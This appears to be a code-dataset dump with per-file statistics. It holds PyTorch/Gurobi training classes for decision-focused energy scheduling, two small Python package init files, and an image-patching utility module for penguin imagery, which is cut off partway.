hidden_size=hidden_size,target_size=target_size,num_layers=num_layers)
self.optimizer = optimizer(self.model.parameters(), **hyperparams)
def fit(self,X,y,X_validation=None,y_validation=None,X_test=None,y_test=None):
self.model_time = 0.
runtime = 0.
validation_time = 0
test_time = 0
# if validation true validation and tets data should be provided
validation = (X_validation is not None) and (y_validation is not None)
test = (X_test is not None) and (y_test is not None)
param = self.param
if self.doScale:
self.scaler = preprocessing.StandardScaler().fit(X)
X = self.scaler.transform(X)
if validation:
start_validation = time.time()
if self.doScale:
X_validation = self.scaler.transform(X_validation)
end_validation = time.time()
validation_time += end_validation -start_validation
if test:
start_test = time.time()
if self.doScale:
X_test = self.scaler.transform(X_test)
end_test = time.time()
test_time+= end_test - start_test
validation_relax = self.validation_relax
n_items = self.n_items
epochs = self.epochs
batchsize = self.batchsize
n_batches = X.shape[0]//(batchsize*n_items)
n_knapsacks = X.shape[0]//n_items
subepoch= 0
validation_result =[]
shuffled_batches = [i for i in range(n_batches)]
max_iter = self.max_iter
# init_params = {el:None for el in range(n_knapsacks)}
A,b,G,h,F = make_matrix_intopt(**param)
logging.info("Started Intopt Optimization with method {} threshold {}".format(self.method,self.thr))
for e in range(epochs):
np.random.shuffle(shuffled_batches)
for i in range(n_batches):
start = time.time()
self.optimizer.zero_grad()
batch_list = random.sample([j for j in range(batchsize)], batchsize)
for j in batch_list:
n_start = (batchsize*shuffled_batches[i] + j)*n_items
n_stop = n_start + n_items
z = torch.tensor(y[n_start:n_stop],dtype=torch.float )
X_tensor= torch.tensor(X[n_start:n_stop,:],dtype=torch.float)
c_true= torch.mm(F,torch.tensor(y[n_start:n_stop],dtype=torch.float ).unsqueeze(1)).squeeze()
c_pred = torch.mm(F,self.model(X_tensor)).squeeze()
logging.info("c shape {}".format(c_pred.shape))
try:
with time_limit(self.problem_timelimit):
x = IPOfunc(A,b,G,h,pc = True,max_iter=self.max_iter,bounds= [(0., None)],
#init_val= init_params[(batchsize*shuffled_batches[i] + j)],
smoothing=self.smoothing,thr=self.thr,method= self.method,
mu0 = self.mu0,damping= self.damping)(c_pred)
loss = (x*c_true).mean()
c_pred.retain_grad()
loss.backward()
# torch.nn.utils.clip_grad_norm_(self.lstm_layer.parameters(),
# self.clip)
forward_solved = IPOfunc.forward_solved()
self.model_time += IPOfunc.Runtime()
# print("solving cplt",datetime.datetime.now())
# print("solved",sum(x),x.shape)
except TimeoutException as msg:
forward_solved = False
logging.info("timelimitlimit exceeded")
print("Epoch[{}::{}] timelimitlimit exceeded\
If you see if often consider increasing \
problem_timelimit".format(e+1,i+1 ))
except LinAlgError as msg:
raise
except Exception as msg:
forward_solved = False
logging.info(msg)
if forward_solved:
logging.info("backward done {} {} {}".format(e,i,j))
else:
print("Epoch[{}/{}] fwd pass not solved".format(e+1,i+1 ))
self.optimizer.step()
end = time.time()
runtime += end -start
logging.info("step done {} {}".format(e,i))
# logging.info("--Model parameters--")
# for modelparam in self.lstm_layer.parameters():
# logging.info(modelparam)
# logging.info("--******--")
if forward_solved:
logging.info("fwd not solved")
# if any(torch.isnan(c_pred.grad).tolist()):
# logging.info("nan in c-gradient")
# logging.info("smoothing is %s"%self.smoothing)
subepoch += 1
print('Epoch[{}/{}], loss(train):{:.2f} @ {:%Y-%m-%d %H:%M:%S} '.format(e+1,
i+1, loss.item(),datetime.datetime.now() ))
if ((i+1)%7==0)|((i+1)%n_batches==0):
if self.model_save:
torch.save(self.model.state_dict(),
str(self.model_name+"_Epoch"+str(e)+"_"+str(i)+".pth"))
if self.store_validation:
y_pred_validation, y_pred_test = return_dict_validation( self,self.model,self.predict,self.param,self.n_items,
self.model_save, validation, test,
self.model_name , self.validation_relax,
X_validation,y_validation , X_test ,y_test )
dict_validation = validation_module(param = param,n_items= self.n_items,
run_time= runtime,epoch= e, batch=i,
model_time = self.model_time,
y_target_validation= y_validation,
sol_target_validation= self.sol_validation,
y_pred_validation= y_pred_validation,
y_target_test= y_test,sol_target_test= self.sol_test ,
y_pred_test= y_pred_test,validation_relax = self.validation_relax)
validation_result.append(dict_validation)
if self.store_validation :
#return test_result
dd = defaultdict(list)
for d in validation_result:
for key, value in d.items():
dd[key].append(value)
df = pd.DataFrame.from_dict(dd)
#self.logger.info('Completion Time %s \n' %str(datetime.datetime.now()) )
logging.info('Completion Time %s \n' %str(datetime.datetime.now()) )
return df
def validation_result(self,X_validation,y_validation, scaler= None,doScale = True):
scaler_ = self.scaler if scaler is None else scaler
return validation_func(X_validation,y_validation,self.param, self.n_items, self.model,scaler_,doScale)
def predict(self,X,scaler=None,doScale = True):
scaler_ = self.scaler if scaler is None else scaler
return predict_func(X, self.model, scaler_,doScale )
class qptl_energy:
def __init__(self,param,
input_size,hidden_size,num_layers,target_size=1,
tau=20000,doScale= True,n_items=48,epochs=1,batchsize= 24,
verbose=False,validation_relax=True,
optimizer=optim.Adam,model_save=False,model_name=None,
model=None,store_validation=False,problem_timelimit=500, **hyperparams):
self.input_size = input_size
self.hidden_size = hidden_size
self.num_layers = num_layers
self.param = param
self.tau = tau
self.doScale = doScale
self.n_items = n_items
self.epochs = epochs
self.batchsize = batchsize
self.verbose = verbose
self.validation_relax = validation_relax
#self.test_relax = test_relax
self.optimizer = optimizer
self.model_save = model_save
self.model_name = model_name
self.hyperparams = hyperparams
self.problem_timelimit = problem_timelimit
self.store_validation = store_validation
self.model = MultilayerRegression(input_size= input_size,
hidden_size=hidden_size,target_size=target_size,num_layers=num_layers)
self.optimizer = optimizer(self.model.parameters(), **hyperparams)
def fit(self,X,y,X_validation=None,y_validation=None,X_test=None,y_test=None):
self.model_time = 0.
runtime = 0.
validation_time = 0
test_time = 0
# if validation true validation and tets data should be provided
validation = (X_validation is not None) and (y_validation is not None)
test = (X_test is not None) and (y_test is not None)
param = self.param
if self.doScale:
self.scaler = preprocessing.StandardScaler().fit(X)
X = self.scaler.transform(X)
if validation:
start_validation = time.time()
if self.doScale:
X_validation = self.scaler.transform(X_validation)
end_validation = time.time()
validation_time += end_validation -start_validation
if test:
start_test = time.time()
if self.doScale:
X_test = self.scaler.transform(X_test)
end_test = time.time()
test_time+= end_test - start_test
validation_relax = self.validation_relax
n_items = self.n_items
epochs = self.epochs
batchsize = self.batchsize
n_batches = X.shape[0]//(batchsize*n_items)
n_knapsacks = X.shape[0]//n_items
subepoch= 0
validation_result =[]
shuffled_batches = [i for i in range(n_batches)]
A,b,G,h,F = make_matrix_qp(**param)
Q = torch.eye(F.shape[0])/self.tau
model_params_quad = make_gurobi_model(G.detach().numpy(),h.detach().numpy(),A.detach().numpy(),
b.detach().numpy(), Q.detach().numpy())
self.gurobi_model = model_params_quad
for e in range(epochs):
np.random.shuffle(shuffled_batches)
for i in range(n_batches):
start = time.time()
self.optimizer.zero_grad()
batch_list = random.sample([j for j in range(batchsize)], batchsize)
for j in batch_list:
n_start = (batchsize*shuffled_batches[i] + j)*n_items
n_stop = n_start + n_items
z = torch.tensor(y[n_start:n_stop],dtype=torch.float )
X_tensor= torch.tensor(X[n_start:n_stop,:],dtype=torch.float)
c_true= torch.mm(F,
torch.tensor(y[n_start:n_stop],dtype=torch.float ).unsqueeze(1)).squeeze()
c_pred = torch.mm(F,self.model(X_tensor)).squeeze()
try:
with time_limit(self.problem_timelimit):
solver = QPFunction(verbose=False,
solver=QPSolvers.GUROBI, model_params=model_params_quad)
x = solver(Q.expand(1, *Q.shape),
c_pred.squeeze(), G.expand(1, *G.shape),
h.expand(1, *h.shape),
A.expand(1, *A.shape),b.expand(1, *b.shape))
forward_solved =True
# print("solving cplt",datetime.datetime.now())
# print("solved",sum(x),x.shape)
except TimeoutException as msg:
forward_solved = False
logging.info("timelimitlimit exceeded")
print("Epoch[{}::{}] timelimitlimit exceeded\
If you see if often consider increasing \
problem_timelimit".format(e+1,i+1 ))
except Exception as msg:
forward_solved = False
logging.info(msg)
if forward_solved:
loss = (x.squeeze()*c_true.squeeze()).mean()
loss.backward()
# print("backward done")
else:
print("Epoch[{}/{}] fwd pass not solved".format(e+1,i+1 ))
self.optimizer.step()
end = time.time()
runtime += end -start
subepoch += 1
if forward_solved:
print('Epoch[{}/{}], loss(train):{:.2f} @ {:%Y-%m-%d %H:%M:%S} '.format(e+1,
i+1, loss.item(),datetime.datetime.now() ))
if ((i+1)%7==0)|((i+1)%n_batches==0):
if self.model_save:
torch.save(self.model.state_dict(),
str(self.model_name+"_Epoch"+str(e)+"_"+str(i)+".pth"))
if self.store_validation:
y_pred_validation, y_pred_test = return_dict_validation( self,self.model,self.predict,self.param,self.n_items,
self.model_save, validation, test,
self.model_name , self.validation_relax,
X_validation,y_validation , X_test ,y_test )
dict_validation = validation_module(param = param,n_items= self.n_items,
run_time= runtime,epoch= e, batch=i,
model_time = self.model_time,
y_target_validation= y_validation,
sol_target_validation= self.sol_validation,
y_pred_validation= y_pred_validation,
y_target_test= y_test,sol_target_test= self.sol_test ,
y_pred_test= y_pred_test,validation_relax = self.validation_relax)
validation_result.append(dict_validation)
if self.store_validation :
#return test_result
dd = defaultdict(list)
for d in validation_result:
for key, value in d.items():
dd[key].append(value)
df = pd.DataFrame.from_dict(dd)
#self.logger.info('Completion Time %s \n' %str(datetime.datetime.now()) )
logging.info('Completion Time %s \n' %str(datetime.datetime.now()) )
return df
def validation_result(self,X_validation,y_validation, scaler= None,doScale = True):
scaler_ = self.scaler if scaler is None else scaler
return validation_func(X_validation,y_validation,self.param, self.n_items, self.model,scaler_,doScale)
def predict(self,X,scaler=None,doScale = True):
scaler_ = self.scaler if scaler is None else scaler
return predict_func(X, self.model, scaler_,doScale )
class twostage_energy:
def __init__(self,param,
input_size,hidden_size,num_layers,target_size=1,
doScale= True,n_items=48,epochs=1,batchsize= 24,
verbose=False,validation_relax=True,
optimizer=optim.Adam,model_save=False,model_name=None,
model=None,store_validation=False, scheduler=False,
**hyperparams):
self.input_size = input_size
self.hidden_size = hidden_size
self.num_layers = num_layers
self.param = param
self.doScale = doScale
self.n_items = n_items
self.epochs = epochs
self.batchsize = batchsize
self.verbose = verbose
self.validation_relax = validation_relax
#self.test_relax = test_relax
self.optimizer = optimizer
self.model_save = model_save
self.model_name = model_name
self.hyperparams = hyperparams
self.store_validation = store_validation
self.scheduler = scheduler
self.model = MultilayerRegression(input_size= input_size,
hidden_size=hidden_size,target_size=target_size,num_layers=num_layers)
self.optimizer = optimizer(self.model.parameters(), **hyperparams)
def fit(self,X,y,X_validation=None,y_validation=None,X_test=None,y_test=None):
self.model_time = 0.
runtime = 0.
validation_time = 0
test_time = 0
# if validation true validation and tets data should be provided
validation = (X_validation is not None) and (y_validation is not None)
test = (X_test is not None) and (y_test is not None)
param = self.param
if self.doScale:
self.scaler = preprocessing.StandardScaler().fit(X)
X = self.scaler.transform(X)
if validation:
start_validation = time.time()
if self.doScale:
X_validation = self.scaler.transform(X_validation)
end_validation = time.time()
validation_time += end_validation -start_validation
if test:
start_test = time.time()
if self.doScale:
X_test = self.scaler.transform(X_test)
end_test = time.time()
test_time+= end_test - start_test
validation_relax = self.validation_relax
criterion = nn.MSELoss(reduction='mean')
n_items = self.n_items
epochs = self.epochs
batchsize = self.batchsize
n_batches = X.shape[0]//(batchsize*n_items)
n_knapsacks = X.shape[0]//n_items
subepoch= 0
validation_result =[]
shuffled_batches = [i for i in range(n_batches)]
n_train = len(y)
# scheduler = torch.optim.lr_scheduler.LambdaLR(self.optimizer,
# lr_lambda=lambda x:1 if x<2 else 0.95**x )
for e in range(epochs):
logging.info('Epoch %d'%e )
np.random.shuffle(shuffled_batches)
for i in range(n_batches):
start = time.time()
n_start = (batchsize*shuffled_batches[i] *n_items)
n_stop = (batchsize*(shuffled_batches[i]+1) *n_items)
X_tensor = torch.from_numpy(X[n_start:n_stop,:]).float()
y_target = torch.from_numpy(y[n_start:n_stop][:,np.newaxis]).float()
self.optimizer.zero_grad()
y_pred = self.model(X_tensor)
loss = criterion(y_pred, y_target)
loss.backward()
self.optimizer.step()
end = time.time()
runtime += end -start
subepoch += 1
print('Epoch[{}/{}], loss(train):{:.2f} @ {:%Y-%m-%d %H:%M:%S} '.format(e+1,
i+1, loss.item(),datetime.datetime.now() ))
if ((i+1)%7==0)|((i+1)%n_batches==0):
if self.model_save:
torch.save(self.model.state_dict(),
str(self.model_name+"_Epoch"+str(e)+"_"+str(i)+".pth"))
if self.store_validation:
y_pred_validation, y_pred_test = return_dict_validation( self,self.model,self.predict,self.param,self.n_items,
self.model_save, validation, test,
self.model_name , self.validation_relax,
X_validation,y_validation , X_test ,y_test )
dict_validation = validation_module(param = param,n_items= self.n_items,
run_time= runtime,epoch= e, batch=i,
model_time = self.model_time,
y_target_validation= y_validation,
sol_target_validation= self.sol_validation,
y_pred_validation= y_pred_validation,
y_target_test= y_test,sol_target_test= self.sol_test ,
y_pred_test= y_pred_test,validation_relax = self.validation_relax)
validation_result.append(dict_validation)
if self.store_validation :
#return test_result
dd = defaultdict(list)
for d in validation_result:
for key, value in d.items():
dd[key].append(value)
df = pd.DataFrame.from_dict(dd)
#self.logger.info('Completion Time %s \n' %str(datetime.datetime.now()) )
logging.info('Completion Time %s \n' %str(datetime.datetime.now()) )
return df
def validation_result(self,X_validation,y_validation, scaler= None,doScale = True):
scaler_ = self.scaler if scaler is None else scaler
return validation_func(X_validation,y_validation,self.param, self.n_items, self.model,scaler_,doScale)
def predict(self,X,scaler=None,doScale = True):
scaler_ = self.scaler if scaler is None else scaler
return predict_func(X, self.model, scaler_,doScale )
class SPO_energy:
def __init__(self,param,
input_size,hidden_size,num_layers,target_size=1,
doScale= True,n_items=48,epochs=1,batchsize= 24,
verbose=False,validation_relax=True,
optimizer=optim.Adam,model_save=False,model_name=None,
model=None,store_validation=False, scheduler=False,
**hyperparams):
self.input_size = input_size
self.hidden_size = hidden_size
self.num_layers = num_layers
self.param = param
self.doScale = doScale
self.n_items = n_items
self.epochs = epochs
self.batchsize = batchsize
self.verbose = verbose
self.validation_relax = validation_relax
#self.test_relax = test_relax
self.optimizer = optimizer
self.model_save = model_save
self.model_name = model_name
self.hyperparams = hyperparams
self.store_validation = store_validation
self.scheduler = scheduler
self.model = MultilayerRegression(input_size= input_size,
hidden_size=hidden_size,target_size=target_size,num_layers=num_layers)
self.optimizer = optimizer(self.model.parameters(), **hyperparams)
def fit(self,X,y,X_validation=None,y_validation=None,X_test=None,y_test=None):
self.model_time = 0.
runtime = 0.
validation_time = 0
test_time = 0
validation = (X_validation is not None) and (y_validation is not None)
test = (X_test is not None) and (y_test is not None)
param = self.param
if self.doScale:
self.scaler = preprocessing.StandardScaler().fit(X)
X = self.scaler.transform(X)
if validation:
start_validation = time.time()
if self.doScale:
X_validation = self.scaler.transform(X_validation)
end_validation = time.time()
validation_time += end_validation -start_validation
if test:
start_test = time.time()
if self.doScale:
X_test = self.scaler.transform(X_test)
end_test = time.time()
test_time+= end_test - start_test
validation_relax = self.validation_relax
n_items = self.n_items
epochs = self.epochs
batchsize = self.batchsize
n_batches = X.shape[0]//(batchsize*n_items)
n_knapsacks = X.shape[0]//n_items
subepoch= 0
validation_result =[]
shuffled_batches = [i for i in range(n_batches)]
clf = Gurobi_ICON(relax=True,method=-1,reset=True,presolve=True,**param)
clf.make_model()
self.sol_train = ICON_solution(param = param,
y = y,relax = True,
n_items = self.n_items)
for e in range(epochs):
np.random.shuffle(shuffled_batches)
start = time.time()
for i in range(n_batches):
start = time.time()
self.optimizer.zero_grad()
batch_list = random.sample([j for j in range(batchsize)], batchsize)
for j in batch_list:
n_start = (batchsize*shuffled_batches[i] + j)*n_items
n_stop = n_start + n_items
x_actual = self.sol_train[(batchsize*shuffled_batches[i] + j)]
z = torch.tensor(y[n_start:n_stop],dtype=torch.float )
X_tensor= torch.tensor(X[n_start:n_stop,:],dtype=torch.float)
c_true= y[n_start:n_stop]
y_pred = self.model(X_tensor).squeeze()
c_pred = y_pred.detach().numpy()
c_spo = (2*c_pred - c_true)
x_spo ,_= clf.solve_model(c_spo)
grad = torch.from_numpy( x_actual - x_spo ).float()
y_pred.backward(gradient=grad)
self.optimizer.step()
end = time.time()
runtime += end -start
logging.info("step done {} {}".format(e,i))
subepoch += 1
print('Epoch[{}/{}] @ {:%Y-%m-%d %H:%M:%S} '.format(e+1,
i+1,datetime.datetime.now() ))
if ((i+1)%7==0)|((i+1)%n_batches==0):
if self.model_save:
torch.save(self.model.state_dict(),
str(self.model_name+"_Epoch"+str(e)+"_"+str(i)+".pth"))
if self.store_validation:
y_pred_validation, y_pred_test = return_dict_validation( self,self.model,self.predict,self.param,self.n_items,
self.model_save, validation, test,
self.model_name , self.validation_relax,
X_validation,y_validation , X_test ,y_test )
dict_validation = validation_module(param = param,n_items= self.n_items,
run_time= runtime,epoch= e, batch=i,
model_time = self.model_time,
y_target_validation= y_validation,
sol_target_validation= self.sol_validation,
y_pred_validation= y_pred_validation,
y_target_test= y_test,sol_target_test= self.sol_test ,
y_pred_test= y_pred_test,validation_relax = self.validation_relax)
validation_result.append(dict_validation)
if self.store_validation :
#return test_result
dd = defaultdict(list)
for d in validation_result:
for key, value in d.items():
dd[key].append(value)
df = pd.DataFrame.from_dict(dd)
#self.logger.info('Completion Time %s \n' %str(datetime.datetime.now()) )
logging.info('Completion Time %s \n' %str(datetime.datetime.now()) )
return df
def validation_result(self,X_validation,y_validation, scaler= None,doScale = True):
scaler_ = self.scaler if scaler is None else scaler
return validation_func(X_validation,y_validation,self.param, self.n_items, self.model,scaler_,doScale)
def predict(self,X,scaler=None,doScale = True):
scaler_ = self.scaler if scaler is None else scaler
return predict_func(X, self.model, scaler_,doScale )
| 41.981538
| 134
| 0.569066
| 5,031
| 40,932
| 4.424568
| 0.067979
| 0.020485
| 0.010512
| 0.016846
| 0.795238
| 0.773675
| 0.745732
| 0.729111
| 0.729111
| 0.724663
| 0
| 0.008156
| 0.329009
| 40,932
| 974
| 135
| 42.024641
| 0.80233
| 0.069945
| 0
| 0.722892
| 0
| 0.004016
| 0.02143
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.038822
| false
| 0.004016
| 0.033467
| 0.001339
| 0.109772
| 0.01071
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
1aa29587a4eba407d37fdbf858f15f5c5df32ab9
| 68
|
py
|
Python
|
geotrek/feedback/tests/__init__.py
|
jmdecastel/GEOTADMIN
|
15547c0a99ae4c541ca517cdbc2cf17ab5c96f87
|
[
"BSD-2-Clause"
] | null | null | null |
geotrek/feedback/tests/__init__.py
|
jmdecastel/GEOTADMIN
|
15547c0a99ae4c541ca517cdbc2cf17ab5c96f87
|
[
"BSD-2-Clause"
] | null | null | null |
geotrek/feedback/tests/__init__.py
|
jmdecastel/GEOTADMIN
|
15547c0a99ae4c541ca517cdbc2cf17ab5c96f87
|
[
"BSD-2-Clause"
] | null | null | null |
from .test_views import * # NOQA
from .test_email import * # NOQA
| 22.666667
| 33
| 0.705882
| 10
| 68
| 4.6
| 0.6
| 0.347826
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.205882
| 68
| 2
| 34
| 34
| 0.851852
| 0.132353
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
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| 1
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| 1
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| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
46b7f5466652a294010568c915735275e982b3b9
| 107
|
py
|
Python
|
envs/hns/mujoco-worldgen/mujoco_worldgen/util/envs/__init__.py
|
jiayu-ch15/curriculum
|
7305833b8f875c91f7598029f63fd3e543a0fd82
|
[
"MIT"
] | 424
|
2019-09-17T15:50:41.000Z
|
2022-03-26T07:10:21.000Z
|
envs/hns/mujoco-worldgen/mujoco_worldgen/util/envs/__init__.py
|
jiayu-ch15/curriculum
|
7305833b8f875c91f7598029f63fd3e543a0fd82
|
[
"MIT"
] | 7
|
2019-09-18T08:54:58.000Z
|
2020-08-28T15:12:45.000Z
|
envs/hns/mujoco-worldgen/mujoco_worldgen/util/envs/__init__.py
|
jiayu-ch15/curriculum
|
7305833b8f875c91f7598029f63fd3e543a0fd82
|
[
"MIT"
] | 81
|
2019-09-18T00:14:25.000Z
|
2022-03-30T18:25:08.000Z
|
from .env_viewer import EnvViewer
from .examine_env import examine_env
from .flexible_load import load_env
| 26.75
| 36
| 0.859813
| 17
| 107
| 5.117647
| 0.470588
| 0.229885
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.11215
| 107
| 3
| 37
| 35.666667
| 0.915789
| 0
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| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
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| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
46bf10d65b2898b4623a80c0d43fb1265448ebae
| 10,711
|
py
|
Python
|
src/iceberg_penguins/search/data_processing/m_im_util.py
|
iceberg-project/Penguins
|
80297bc812e2a3811cbcfd1025e81072631b1c5c
|
[
"MIT"
] | 3
|
2018-04-02T19:59:06.000Z
|
2019-02-15T16:42:13.000Z
|
src/iceberg_penguins/search/data_processing/m_im_util.py
|
iceberg-project/Penguins
|
80297bc812e2a3811cbcfd1025e81072631b1c5c
|
[
"MIT"
] | 15
|
2018-09-12T19:18:08.000Z
|
2020-08-06T21:59:56.000Z
|
src/iceberg_penguins/search/data_processing/m_im_util.py
|
iceberg-project/Penguins
|
80297bc812e2a3811cbcfd1025e81072631b1c5c
|
[
"MIT"
] | 2
|
2019-03-06T06:18:14.000Z
|
2019-05-06T16:18:06.000Z
|
"""
Utility scripts for images
Author: Hieu Le
License: MIT
Copyright: 2018-2019
"""
import os
import numpy as np
from PIL import Image
from scipy import misc
#AT this point, I don't even know what is this file about. junk codes assembly.
def list_to_file(f,list):
file = open(f,"w")
for i in list:
file.write(i[:-4]+"\n")
file.close()
def read_list(f):
if os.path.isfile(f):
with open(f, "r") as ins:
array = []
for line in ins:
array.append(line[:-1]) #-1 due to '\n'
return array
return []
def convertMbandstoRGB(tif,imname):
if tif.shape[0] ==1:
return tif
if "QB" in imname:
return tif[(3,2,1),:,:]
if "WV" in imname:
if tif.shape[0] ==8:
return tif[(5,3,2),:,:]
if tif.shape[0] ==4:
return tif[(3,2,1),:,:]
if "IK" in imname:
return tif[(3,2,1),:,:]
else:
return tif[(3,2,1),:,:]
def to_rgb3b(im):
# as 3a, but we add an extra copy to contiguous 'C' order
# data
# ... where is to_rgb3a?
return np.dstack([im.astype(np.uint8)] * 3).copy(order='C')
def sdsaveim(savetif,name):
print(savetif.shape)
if savetif.dtype == np.uint16:
savetif = savetif.astype(np.float)
for i in range(0,savetif.shape[2]):
savetif[:,:,i] = savetif[:,:,i] / np.max(savetif[:,:,i]) * 255
savetif = savetif.astype(np.uint8)
if savetif.ndim== 2:
Image.fromarray(savetif.astype(np.uint8),mode='L').save(name)
elif savetif.shape[2] == 3:
Image.fromarray(savetif.astype(np.uint8)).save(name)
elif savetif.shape[2] == 1:
Image.fromarray(savetif[:,:,0:1].astype(np.uint8),mode='L').save(name)
#plt.imshow(savetif[1,:],cmap=cm.gray)
def sdmkdir(d):
if not os.path.isdir(d):
os.makedirs(d)
def png2patches(png,step,size):
step = np.int32(step)
size= np.int32(size)
w,h,z = png.shape
ni = np.int32(np.floor((w- size)/step) +2)
nj = np.int32(np.floor((h- size)/step) +2)
patches = np.zeros((ni,nj,size,size,z))
for i in range(0,ni-1):
for j in range(0,nj-1):
patches[i,j,:,:,:] = png[i*step:i*step+size,j*step:j*step+size,:]
for i in range(0,ni-1):
patches[i,nj-1,:,:,:] = png[i*step:i*step+size,h-size:h,:]
for j in range(0,nj-1):
patches[ni-1,j,:,:,:] = png[w-size:w,j*step:j*step+size,:]
patches[ni-1,nj-1,:,:,:] = png[w-size:w,h-size:h,:]
return patches
def patches2png(patch_fold,imname,w,h,step,size):
imname=imname[:-4]+'#'
png = np.zeros((w,h))
ws = np.zeros((w,h))
ni = np.int32(np.floor((w- size)/step) +2)
nj = np.int32(np.floor((h- size)/step) +2)
for i in range(0,ni-1):
for j in range(0,nj-1):
patch = misc.imread(patch_fold + '/' + imname + format(i,'03d')+'_'+format(j,'03d')+'.png',mode='L')
png[i*step:i*step+size,j*step:j*step+size]= png[i*step:i*step+size,j*step:j*step+size]+patch
ws[i*step:i*step+size,j*step:j*step+size]= ws[i*step:i*step+size,j*step:j*step+size]+ 1
for i in range(0,ni-1):
patch = misc.imread(patch_fold + '/' + imname + format(i,'03d')+'_'+format(nj-1,'03d')+'.png',mode='L')
png[i*step:i*step+size,h-size:h] = png[i*step:i*step+size,h-size:h]+ patch
ws[i*step:i*step+size,h-size:h] = ws[i*step:i*step+size,h-size:h]+ 1
for j in range(0,nj-1):
patch = misc.imread(patch_fold + '/' + imname + format(ni-1,'03d')+'_'+format(j,'03d')+'.png',mode='L')
png[w-size:w,j*step:j*step+size]= png[w-size:w,j*step:j*step+size]+ patch
ws [w-size:w,j*step:j*step+size]= ws [w-size:w,j*step:j*step+size]+ 1
patch = misc.imread(patch_fold + '/' + imname + format(ni-1,'03d')+'_'+format(nj-1,'03d')+'.png',mode='L')
png[w-size:w,h-size:h] = png[w-size:w,h-size:h]+ patch
ws [w-size:w,h-size:h] = ws [w-size:w,h-size:h]+ 1
png = np.divide(png,ws)
return png
def patches2png_legacy(patches,w,h,step,size):
tif = np.zeros((1,w,h))
ws = np.zeros((1,w,h))
ni = np.int32(np.floor((w- size)/step) +2)
nj = np.int32(np.floor((h- size)/step) +2)
for i in range(0,ni-1):
for j in range(0,nj-1):
tif[:,i*step:i*step+size,j*step:j*step+size]= tif[:,i*step:i*step+size,j*step:j*step+size]+ patches[i,j,:,:,:]
ws[:,i*step:i*step+size,j*step:j*step+size]= ws[:,i*step:i*step+size,j*step:j*step+size]+ 1
for i in range(0,ni-1):
tif[:,i*step:i*step+size,h-size:h] = tif[:,i*step:i*step+size,h-size:h]+ patches[i,nj-1,:,:,:]
ws[:,i*step:i*step+size,h-size:h] = ws[:,i*step:i*step+size,h-size:h]+ 1
for j in range(0,nj-1):
tif[:,w-size:w,j*step:j*step+size]= tif[:,w-size:w,j*step:j*step+size]+ patches[ni-1,j,:,:,:]
ws[:,w-size:w,j*step:j*step+size]= ws[:,w-size:w,j*step:j*step+size]+ 1
tif[:,w-size:w,h-size:h] = tif[:,w-size:w,h-size:h]+ patches[ni-1,nj-1]
ws[:,w-size:w,h-size:h] = ws[:,w-size:w,h-size:h]+ 1
tif = np.divide(tif,ws)
return tif
def tif2patches(tif,step,size):
step = np.int32(step)
size= np.int32(size)
z,w,h = tif.shape
ni = np.int32(np.floor((w- size)/step) +2)
nj = np.int32(np.floor((h- size)/step) +2)
patches = np.zeros((ni,nj,z,size,size))
for i in range(0,ni-1):
for j in range(0,nj-1):
patches[i,j,:,:,:] = tif[:,i*step:i*step+size,j*step:j*step+size]
#print i*step,i*step+size
for i in range(0,ni-1):
patches[i,nj-1,:,:,:] = tif[:,i*step:i*step+size,h-size:h]
for j in range(0,nj-1):
patches[ni-1,j,:,:,:] = tif[:,w-size:w,j*step:j*step+size]
patches[ni-1,nj-1,:,:,:] = tif[:,w-size:w,h-size:h]
return patches
def patches2tif(patches,w,h,step,size):
tif = np.zeros((1,w,h))
ws = np.zeros((1,w,h))
ni = np.int32(np.floor((w- size)/step) +2)
nj = np.int32(np.floor((h- size)/step) +2)
for i in range(0,ni-1):
for j in range(0,nj-1):
tif[:,i*step:i*step+size,j*step:j*step+size]= tif[:,i*step:i*step+size,j*step:j*step+size]+ patches[i,j,:,:,:]
ws[:,i*step:i*step+size,j*step:j*step+size]= ws[:,i*step:i*step+size,j*step:j*step+size]+ 1
for i in range(0,ni-1):
tif[:,i*step:i*step+size,h-size:h] = tif[:,i*step:i*step+size,h-size:h]+ patches[i,nj-1,:,:,:]
ws[:,i*step:i*step+size,h-size:h] = ws[:,i*step:i*step+size,h-size:h]+ 1
for j in range(0,nj-1):
tif[:,w-size:w,j*step:j*step+size]= tif[:,w-size:w,j*step:j*step+size]+ patches[ni-1,j,:,:,:]
ws[:,w-size:w,j*step:j*step+size]= ws[:,w-size:w,j*step:j*step+size]+ 1
tif[:,w-size:w,h-size:h] = tif[:,w-size:w,h-size:h]+ patches[ni-1,nj-1]
ws[:,w-size:w,h-size:h] = ws[:,w-size:w,h-size:h]+ 1
tif = np.divide(tif,ws)
return tif
def savepatch_test(png,w,h,step,size,basename):
ni = np.int32(np.floor((w- size)/step) +2)
nj = np.int32(np.floor((h- size)/step) +2)
for i in range(0,ni-1):
for j in range(0,nj-1):
misc.toimage(png[i*step:i*step+size,j*step:j*step+size,:]).save(basename+format(i,'03d')+'_'+format(j,'03d')+'.png')
for i in range(0,ni-1):
# patches[i,nj-1,:,:,:] = png[:,i*step:i*step+size,h-size:h]
misc.toimage(png[i*step:i*step+size,h-size:h,:]).save(basename+format(i,'03d')+'_'+format(nj-1,'03d')+'.png')
for j in range(0,nj-1):
